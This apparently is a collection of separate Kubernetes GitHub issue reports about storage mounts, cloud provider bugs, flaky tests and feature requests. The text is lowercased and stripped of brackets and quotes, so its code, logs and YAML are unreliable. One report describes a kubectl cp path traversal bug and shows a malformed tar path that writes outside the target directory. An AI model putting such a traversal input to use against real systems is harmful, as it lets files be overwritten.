need to know?  :\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : \r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux master-cmp-test-kubecluster-2-0a0387a2 4.15.0-15-generic  16~16.04.1-ubuntu smp thu apr 5 12:19:23 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kops\r - others:\r \r similar phenomenon to https://github.com/kubernetes/kubernetes/issues/42433 but that ticket was created in 2017 so version might be old, also looks like different use cases, so filing this new bug\r \r  /cc @kubernetes/sig-scheduling-bugs

func restartapiserver   error {         // todo: make it work for all providers.         if !provideris \ gce\ , \ gke\ , \ aws\   {                 return fmt.errorf \ unsupported provider: %s\ , testcontext.provider          }         var command string         if provideris \ gce\ , \ gke\   {                 command = \ sudo docker ps | grep /kube-apiserver | cut -d ' ' -f 1 | xargs sudo docker kill\          } else {                 command = \ sudo /etc/init.d/kube-apiserver restart\          }         result, err := ssh command, getmasterhost  +\ :22\ , testcontext.provider          if err != nil || result.code != 0 {                 logsshresult result                  return fmt.errorf \ couldn't restart apiserver: %v\ , err          }         return nil }      now that i have the master components running within rkt, this fails for rktnetes.  any reccomendations on how to abstract this for rkt?  @yifan-gu @euank

i think it would be very useful to be able to expose services via an ingress with a single command.  in particular, because ingress seems to always need a hostname, and that will always be specific to the installation.\r \r there are two ways that immediately spring to mind to do this, and i'd appreciate some input on which is preferable before i start coding   cc @kubernetes/sig-cli-feature-requests   :\r \r 1.  kubectl expose service myapp  --ingress myapp.example.com --tls-acme \r 1.  kubectl create ingress myapp --host myapp.example.com --tls-acme \r \r the second would rely on a service existing with the same name and would rely on the service port being port 80, whereas the first performs more error checking and is less magical.  but i can also appreciate how the second continues to nudge people towards a well-established pattern.\r \r cc @aledbf for ingress\r \r

it is possible to have multiple signals that point to the same type of\r resource, e.g., both signalnodefsavailable and\r signalallocatablenodefsavailable refer to the same resource nodefs.\r change the map from map v1.resourcename evictionapi.signal to\r map v1.resourcename   evictionapi.signal

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r now that we have decided to let daemonset controller schedule its own pods, it needs to be able to preempt lower  when daemonset pods cannot be scheduled on the target nodes.\r the preemption logic in daemonset controller will be a subset of scheduler's preemption logic, as daemonset controller does not need to choose the best node to preempt and should only perform preemption on the same node that its pod is targeting.\r \r   is this a bug report or feature request?  :\r  \r 

there are plenty of flaky tests in the suite ran by gce- scale|large -correctness jobs. we have changed these jobs to automatically retry each failure one time, but this is not sufficient in some cases where the probability of failure is high enough for the test to fail twice  example: https://github.com/kubernetes/kubernetes/issues/57085 .\r \r losing a large-scale test due to such failure is costly, so we need to put some pressure on responsible sigs to fix them, however tracking these failures manually does not scale. luckily the test fail/pass data should already be already there, so we just need to analyze it and file bugs against repeated offenders. i suppose @kubernetes/sig-testing-misc have some tools for this already?\r \r  @kubernetes/sig-scalability-misc \r /

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >\r  >  \r \r   what happened  :\r \r - created storageclass with -  provisioner: kubernetes.io/vsphere-volume \r - created persistentvolumeclaim with storage class\r - verified pv is created and pvc is in the bound state.\r - created pod with pvc.\r - pod remains in the containercreating state.\r \r    \r events:\r   type     reason                  age               from                       message\r   ----     ------                  ----              ----                       -------\r   normal   scheduled               56s               default-scheduler          successfully assigned thinclaimpod to kubernetes-node3\r   normal   successfulmountvolume   56s               kubelet, kubernetes-node3  mountvolume.setup succeeded for volume \ default-token-8q6dt\ \r   normal   successfulattachvolume  54s               attachdetach-controller    attachvolume.attach succeeded for volume \ pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113\ \r   warning  failedmount             2s  x6 over 23s   kubelet, kubernetes-node3  mountvolume.mountdevice failed for volume \ pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113\  : exit status 1\r    \r \r kubelet log on the node on which pod is scheduled and volume is attached.\r \r    \r jan 04 17:52:20 kubernetes-node3 docker 438 : e0104 17:52:20.488988     473 mount_linux.go:139  mount failed: exit status 32\r jan 04 17:52:20 kubernetes-node3 docker 438 : mounting command: mount\r jan 04 17:52:20 kubernetes-node3 docker 438 : mounting arguments: -t ext4 -o defaults /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  1a094a5a-fa00-3065-a204-02002a623c85/kubernetes-dynamic-pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113.vmdk\r jan 04 17:52:20 kubernetes-node3 docker 438 : output: mount: wrong fs type, bad option, bad superblock on /dev/sda,\r jan 04 17:52:20 kubernetes-node3 docker 438 : missing codepage or helper program, or other error\r jan 04 17:52:20 kubernetes-node3 docker 438 : in some cases useful info is found in syslog - try\r jan 04 17:52:20 kubernetes-node3 docker 438 : dmesg | tail or so.\r jan 04 17:52:20 kubernetes-node3 docker 438 : i0104 17:52:20.490512     473 mount_linux.go:516  disk \ /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e\  appears to be unformatted, attempting to format as type: \ ext4\  with options:  -f /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e \r jan 04 17:52:20 kubernetes-node3 docker 438 : e0104 17:52:20.493082     473 mount_linux.go:523  format of disk \ /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e\  failed: type: \ ext4\   target: \ /var/lib/kubelet/plugins/kubernetes.io/vsphere-volume/mounts/ vsandatastore  1a094a5a-fa00-3065-a204-02002a623c85/kubernetes-dynamic-pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113.vmdk\   options:  \ defaults\   error: exit status 1 \r jan 04 17:52:20 kubernetes-node3 docker 438 : e0104 17:52:20.493879     473 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/vsphere-volume/ vsandatastore  1a094a5a-fa00-3065-a204-02002a623c85/kubernetes-dynamic-pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113.vmdk\\\ \  failed. no retries permitted until 2018-01-04 17:52:52.493834031 +0000 utc m=+186.134394260  durationbeforeretry 32s . error: \ mountvolume.mountdevice failed for volume \\\ pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113\\\   uniquename: \\\ kubernetes.io/vsphere-volume/ vsandatastore  1a094a5a-fa00-3065-a204-02002a623c85/kubernetes-dynamic-pvc-fe40ba79-f0dc-11e7-9a24-0050569c8113.vmdk\\\   pod \\\ thinclaimpod\\\   uid: \\\ d8706056-f177-11e7-b4f1-0050569c8113\\\   : exit status 1\ \r    \r \r fdisk -l shows disk is attached \r    \r root@kubernetes-node3   ~    fdisk -l\r gpt pmbr size mismatch  16777215 != 32767999  will be corrected by w rite .\r disk /dev/sdb: 15.6 gib, 16777216000 bytes, 32768000 sectors\r units: sectors of 1   512 = 512 bytes\r sector size  logical/physical : 512 bytes / 512 bytes\r i/o size  minimum/optimal : 512 bytes / 512 bytes\r disklabel type: gpt\r disk identifier: 17dce994-9d85-438c-a724-2337d5dfdd51\r \r device     start      end  sectors size type\r /dev/sdb1   2048     6143     4096   2m bios boot\r /dev/sdb2   6144 16777182 16771039   8g linux filesystem\r \r \r \r \r disk /dev/sda: 2 gib, 2147483648 bytes, 4194304 sectors\r units: sectors of 1   512 = 512 bytes\r sector size  logical/physical : 512 bytes / 512 bytes\r i/o size  minimum/optimal : 512 bytes / 512 bytes\r    \r \r    \r root@kubernetes-node3   ~    ls -la /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e\r lrwxrwxrwx 1 root root 9 jan  4 18:02 /dev/disk/by-id/wwn-0x6000c292e2aaa44d5447740235496e3e -> ../../sda\r    \r \r   what you expected to happen  :\r volume should be formatted with ext4 and mount should be successful.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r mount cmd version\r    \r   mount -v      \r mount from util-linux 2.27.1  libmount 2.27.0: assert, debug \r    \r \r \r kubelet container is started with passing  -v /usr/sbin/:/usr/sbin/:ro \\  so that mount related commands are available in the container.\r \r    \r root@kubernetes-node3   ~    mkfs.ext4 -v\r mke2fs 1.42.13  17-may-2015 \r \tusing ext2fs library version 1.42.13\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.394+35a0ff7d727c55\ , gitcommit:\ 35a0ff7d727c559c559d1567b32cc3d584a04f65\ , gittreestate:\ clean\ , builddate:\ 2018-01-03t17:55:10z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vsphere cloud provider\r - os  e.g. from /etc/os-release :\r    \r   cat  /etc/os-release\r name=\ vmware photon\ \r version=\ 1.0\ \r id=photon\r version_id=1.0\r pretty_name=\ vmware photon/linux\ \r ansi_color=\ 1;34\ \r home_url=\ https://vmware.github.io/photon/\ \r bug_report_url=\ https://github.com/vmware/photon/issues\ \r    \r - kernel  e.g.  uname -a  :\r    \r root@kubernetes-master   ~    uname -a\r linux kubernetes-master 4.4.26-esx  1-photon smp mon oct 24 20:09:22 utc 2016 x86_64 gnu/linux\r    \r - install tools:\r \r \r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r once every so often,  i'm guessing when there's a connection issue with azure files , the unmount as part of deleting a pod will fail:\r \r  nestedpendingoperations.go:263  operation for \ \\\ kubernetes.io/azure-file/cc5c86cd-422a-11e8-91d7-000d3a03ee84-myvolume\\\   \\\ cc5c86cd-422a-11e8-91d7-000d3a03ee84\\\  \  failed. no retries permitted until 2018-04-17 10:35:40.240272223 +0000 utc m=+1185722.391925424  durationbeforeretry 500ms . error: \ unmountvolume.teardown failed for volume \\\ myvolume\\\   uniquename: \\\ kubernetes.io/azure-file/cc5c86cd-422a-11e8-91d7-000d3a03ee84-myvolume\\\   pod \\\ cc5c86cd-422a-11e8-91d7-000d3a03ee84\\\   uid: \\\ cc5c86cd-422a-11e8-91d7-000d3a03ee84\\\   : error checking if path exists: stat /var/lib/kubelet/pods/cc5c86cd-422a-11e8-91d7-000d3a03ee84/volumes/kubernetes.io~azure-file/myvolume: resource temporarily unavailable \r \r when this happens, all subsequent pods scheduled on this node that try to mount the same volume will fail to do so. the following message then beings to repeat:\r \r  kubelet_volumes.go:128  orphaned pod \ 380b02f3-422b-11e8-91d7-000d3a03ee84\  found, but volume paths are still present on disk \r \r and the cpu iowait spikes and processing on the node slows to a crawl.\r \r ! cpu  https://user-images.githubusercontent.com/1124207/38967517-407cbfec-433c-11e8-800c-88f738f4d630.png \r \r   what you expected to happen  :\r \r the volume should successfully unmount at some point and there should be no orphaned pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm encountering this kind of behavior on a set of nodes running spark batch jobs, where there are driver and executor pods constantly being created and torn down. these pods are configured to mount an azurefile volume for reading configuration and data. to reproduce something like this would probably just be to setup a job that stresses pod creating/deletion with an azurefile mount, though i'm guessing the right network conditions need to exist in order for the cifs path to result in \ resource temporarily unavailable\ \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu 16.04.4\r - kernel  e.g.  uname -a  : 4.13.0-1012-azure\r - install tools: acs-engine 0.14.2\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the e2e test \  sig-instrumentation  metricsgrabber  it  should grab all metrics from a scheduler.\  fails like\r    \r ~ failure  6.451 seconds \r  sig-instrumentation  metricsgrabber\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/common/framework.go:23\r   should grab all metrics from a scheduler.  it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/monitoring/metrics_grabber.go:61\r \r   expected error:\r       < errors.statuserror | 0xc421a2c3f0>: {\r           errstatus: {\r               typemeta: {kind: \ \ , apiversion: \ \ },\r               listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r               status: \ failure\ ,\r               message: \ the server is currently unable to handle the request  get pods kube-scheduler-k8s-master:10251 \ ,\r               reason: \ serviceunavailable\ ,\r               details: {\r                   name: \ kube-scheduler-k8s-master:10251\ ,\r                   group: \ \ ,\r                   kind: \ pods\ ,\r                   uid: \ \ ,\r                   causes:  \r                       {\r                           type: \ unexpectedserverresponse\ ,\r                           message: \ error: 'dial tcp 192.168.1.108:10251: connect: connection refused'\ trying to reach: 'http://192.168.1.108:10251/metrics'\ ,\r                           field: \ \ ,\r                       },\r                    ,\r                   retryafterseconds: 0,\r               },\r               code: 503,\r           },\r       }\r       the server is currently unable to handle the request  get pods kube-scheduler-k8s-master:10251 \r   not to have occurred\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/instrumentation/monitoring/metrics_grabber.go:78\r    \r \r   what you expected to happen  :\r \r the test can pass successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just run:\r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=should\\sgrab\\sall\\smetrics\\sfrom\\sa\\sscheduler\ \r    \r \r   anything else we need to know?  :\r \r kube-scheduler which is installed with kubeadm is listening on 127.0.0.1:10251/tcp like:\r    \r $ sudo netstat -anp | grep 10251\r tcp        0      0 127.0.0.1:10251         0.0.0.0:                listen      2491/kube-scheduler\r    \r so if curling http://192.168.1.108:10251/metrics, that is failed even if running it on the localhost.\r  192.168.1.108 is the master node's ip-address here \r \r after changing the manifest of kube-scheduler like the following, the e2e test can pass:\r    \r $ sudo diff -u etc/kube-scheduler.yaml.orig /etc/kubernetes/manifests/kube-scheduler.yaml\r --- etc/kube-scheduler.yaml.orig        2018-08-22 02:30:16.060204589 +0000\r +++ /etc/kubernetes/manifests/kube-scheduler.yaml       2018-08-22 02:30:38.160555932 +0000\r @@ -13,7 +13,7 @@\r    containers:\r    - command:\r      - kube-scheduler\r -    - --address=127.0.0.1\r +    - --address=192.168.1.108\r      - --kubeconfig=/etc/kubernetes/scheduler.conf\r      - --leader-elect=true\r      image: k8s.gcr.io/kube-scheduler-amd64:v1.11.1\r    \r \r so here is my question as the title. the above manifest change is required?\r or i am missing something which needs to be configured?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?  :\r \r   \r but i am not sure if this is the correct behaviour or i need something in configuration to solve it. \r \r   what happened  :\r \r i see the environment variables of all deployments i have created in every pod\r \r   what you expected to happen  :\r \r to see only the environment variables defined in the deployment.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create two deployments with different environment variables. start the deployments. go into the one of the pod with \ exec -it\  and then execute \ env\ . there i see the environment variables of both deployments.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : linux ip-192-168-1-29 4.4.0-1066-aws  76-ubuntu smp thu aug 16 16:21:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r  variables

which jobs are failing  :\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-integration-master/1126051507540594695\r \r   which test s  are failing  :\r scheduler.testunreserveplugin\r \r   since when has it been failing  :\r ran 9 times between 5/6 and 5/7, succeeding only once. not present anywhere else.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking integration-master\r \r   reason for failure  :\r    \r i0508 09:28:51.061633  108159 healthz.go:184   + ping ok\r  + log ok\r  - etcd failed: reason withheld\r  + poststarthook/generic-apiserver-start-informers ok\r  - poststarthook/bootstrap-controller failed: reason withheld\r  - poststarthook/rbac/bootstrap-roles failed: reason withheld\r  - poststarthook/scheduling/bootstrap-system-priority-classes failed: reason withheld\r  - poststarthook/ca-registration failed: reason withheld\r healthz check failed\r \r \r logging error output: \  + ping ok\  + log ok\  - etcd failed: reason withheld\  + poststarthook/generic-apiserver-start-informers ok\  - poststarthook/bootstrap-controller failed: reason withheld\  - poststarthook/rbac/bootstrap-roles failed: reason withheld\  - poststarthook/scheduling/bootstrap-system-priority-classes failed: reason withheld\  - poststarthook/ca-registration failed: reason withheld\ healthz check failed\ \ \r    \r \r   anything else we need to know  :\r \r   /  /milestone v1.15\r \r cc: @alejandrox1 @smourapina @rarchk

currently we don't have unit test against cmd/libs/go2idl/client-gen/testoutput/clientset_generated/test_internalclientset. we should add a unit test for it, or at least make it a build target that compiles it.  ref: https://github.com/kubernetes/kubernetes/pull/22016 issuecomment-190448463

pods.go  https://github.com/kubernetes/kubernetes/blob/master/test/e2e/pods.go  tests pod level features. it can be moved to the node e2e.  if there are parts of the test that are testing the api server and not the kubelet, then those parts can be retained and the rest can be moved.  the move might be as trivial as,      shell git mv test/e2e/pods.go test/e2e_node/pods_test.go sed -i 's/framework.newdefaultframework/newdefaultframework/g'   verify the new test make test_e2e_node      cc @kubernetes/sig-node

there's not a process that pushes docs to kubernetes.github.io right now. ideally something in the build process would push the yaml file representation of kubectl's help to kubernetes.io, as well as swagger spec stuff, and for the time being, the html output of each.  right now i have a very klugey script that imports the operations/definitions pages and the kubectl manpages: https://github.com/kubernetes/kubernetes.github.io/blob/master/update-imported-docs.sh  and swagger spec is being linked to via the gh-pages branch at:  http://kubernetes.io/kubernetes/third_party/swagger-ui/  note: kubernetes.io/kubernetes is serving from the gh-pages branch of the kubernetes/kubernetes repo.

is there any reason for keeping around the stale branches in this repo?\r https://github.com/kubernetes/kubernetes/branches/stale\r \r @saad-ali @pwittrock

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r  linux k8s-master 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r terraform and the saltbase installer from this repository\r -   others  :\r \r \r   what happened  :\r when installing on centos7 via salt, the cgroup driver is not set, which defaults to setting the cgroup root to  docker , which is incorrect. like debian, the  --cgroup-driver  should be set to  systemd  on centos7.\r \r   what you expected to happen  :\r  --cgroup-driver  should be set to  systemd \r \r   how to reproduce it    as minimally and precisely as possible :\r standup a centos7 machine and attempt to provision a salt master.\r \r   anything else we need to know  :\r happy to submit a patch to fix this issue as per the contributing guidelines if this issue is accepted.

kubernetes on aws seems to be leaving behind black hole routes when nodes leave the cluster.\r \r v1.6.2\r debian jessie\r linux ip-172-20-60-152 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r provisioned with kops using kubenet networking\r \r the cluster correctly create routes, but seems to not be attempting to clean up routes. so, a number of black hole routes are left behind. ultimately, the cluster runs out of routes that are available to it  50 maximum by default on aws  and new nodes fail to start.\r \r when a node goes away its route should be deleted entirely.\r \r provision a new cluster using kops. shut down a node and observe that the route table has not been cleaned up.\r \r fyi @justinsb \r \r i'm investigating now to see if i can find a root cause, from my logs it seems that it's not even attempting to delete the route.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when user uses fc volume plugin, device file on operating system such as /dev/sdx remains after deleting a pod.\r after deleting the pod, pvc and pv, cluster admin or external-provisioner might delete the disk from the storage, therefore the block device on the worker node should be cleaned up.\r \r the photon volume plugin already has this functionality in the removefromscsisubsystem  .\r also the gce volume plugin has similar functionality in the udevadmchangetodrive   too.\r \r - photon: echo 1 > /sys/block/<dev name>/device/delete\r - gce: udevadm trigger --action=change --property-match=devname=%s\r \r also os-brick library in the openstack cinder component uses same way with photon driver.\r \r \r   what you expected to happen  :\r \r the device file on operating system such as /dev/sdx will be cleaned up after deleting pvs.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r % k versionclient version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.538+c35bf2aa7b476c\ , gitcommit:\ c35bf2aa7b476c2523687b923f9e485df333f1d2\ , gittreestate:\ clean\ , builddate:\ 2017-07-20t16:53:54z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.2.538+c35bf2aa7b476c\ , gitcommit:\ c35bf2aa7b476c2523687b923f9e485df333f1d2\ , gittreestate:\ clean\ , builddate:\ 2017-07-20t16:53:54z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : kvm\r - os  e.g. from /etc/os-release : fedora 25\r - kernel  e.g.  uname -a  : \r    \r linux master 4.11.3-200.fc25.x86_64  1 smp thu may 25 19:03:07 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: local-up-cluster.sh\r - others:\r

i am suspicious that crd watch is not working, but was unable to find e2e test coverage to persuade myself that it is working.\r \r cf   24441.\r \r @kubernetes/sig-api-machinery-bugs

is this a bug report or feature request?  :\r bug\r  \r \r   what happened  :\r invalid azure disk uris is not cleared and it keeps other disk attach fail.\r \r   what you expected to happen  :\r the bad request should be cleared so it shouldn't block other disk attach\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create pod a with bad uri\r    yaml\r    <other stuff removed>\r   volumes:\r       - name: bad-disk\r         azuredisk:\r           diskname: bad-disk\r           diskuri: https://storageaccount.blob.core.windows.net/vhds/do-not-exist.vhd\r    \r pod a keeps spinning at containercreate.\r \r then create pod b with good uri, pod b stucks.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r from v1.7, default host cache setting changed from  none  to  readwrite , this would lead to device name change after attach multiple disks on azure vm, finally lead to disk unaccessiable from pod.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r following statefulset with 8 replicas will always fail due to dev name change.\r \r    \r apiversion: apps/v1beta2\r kind: statefulset\r metadata:\r   name: myvm\r spec:\r   selector:\r     matchlabels:\r       app: myvm   has to match .spec.template.metadata.labels\r   servicename: \ myvm\ \r   replicas: 8\r   template:\r     metadata:\r       labels:\r         app: myvm \r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: ubuntu\r         image: ubuntu:xenial\r         command:   \ /bin/bash\ , \ -c\ , \ --\   \r         args:   \ while true; do sleep 30; done;\   \r         livenessprobe:\r           exec:\r             command:\r             - ls\r             - /mnt/data\r           initialdelayseconds: 5\r           periodseconds: 5\r         resources:\r           requests:\r             cpu: 100m\r             memory: 250mi\r         volumemounts:\r         - name: mydata\r           mountpath: /mnt/data\r   volumeclaimtemplates:\r   - metadata:\r       name: mydata\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: default\r       resources:\r         requests:\r           storage: 1gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7 - v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

now only kube-apiserver support logs handler  /logs \r \r we should support it for all generic apiservers.\r \r  \r

is this a bug report or feature request?  : bug\r \r  \r   what happened  :\r kubectl cp <pod-name>:/some/remote/dir /some/local/dir\r \r if the container returns a malformed tarfile with paths like:\r \r '/some/remote/dir/../../../../tmp/foo' kubectl writes this to  /tmp/foo  instead of  /some/local/dir/tmp/foo \r \r   what you expected to happen  :\r \r i expect kubectl to clean up the path and write to  /some/local/dir/tmp/foo \r \r   notes  \r original credit to @hansmi  michael hanselmann  for originally reporting the bug.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r tests checking dns responses can have false positives, such as \ should provide dns for services\ .\r \r the tests rely on dig-ing certain domain names  1 :\r \r      test -n \ $ dig +notcp +noall +answer +search kubernetes.default a \  && echo ok > /results/wheezy_udp@kubernetes.default\r \r the problems could be that, if a host / container doesn't have any entries in their   resolv.conf   file or the configured dns servers are not reachable, dig will output this into   stdout  :\r      \r     ubuntu@ubuntu:~$ dig +notcp +noall +answer +search kubernetes.default a\r     ;; connection timed out; no servers could be reached\r      \r , causing the test to pass and to write \ ok\  into the results file.\r \r      \r  1  https://github.com/kubernetes/kubernetes/blob/dcc6d78ac02672f8afe14aee7679d0e5fc570980/test/e2e/network/dns_common.go l410\r \r   what you expected to happen  :\r \r the tests shouldn't be able to pass if dig failed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r comment all nameservers or configure a bogus dns server in   /etc/resolv.conf  , and run:\r \r     test -n \ $ dig +notcp +noall +answer +search kubernetes.default a \  && echo ok\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : \ ubuntu 16.04.3 lts\ \r - kernel  e.g.  uname -a  : linux ubuntu 4.4.0-87-generic\r

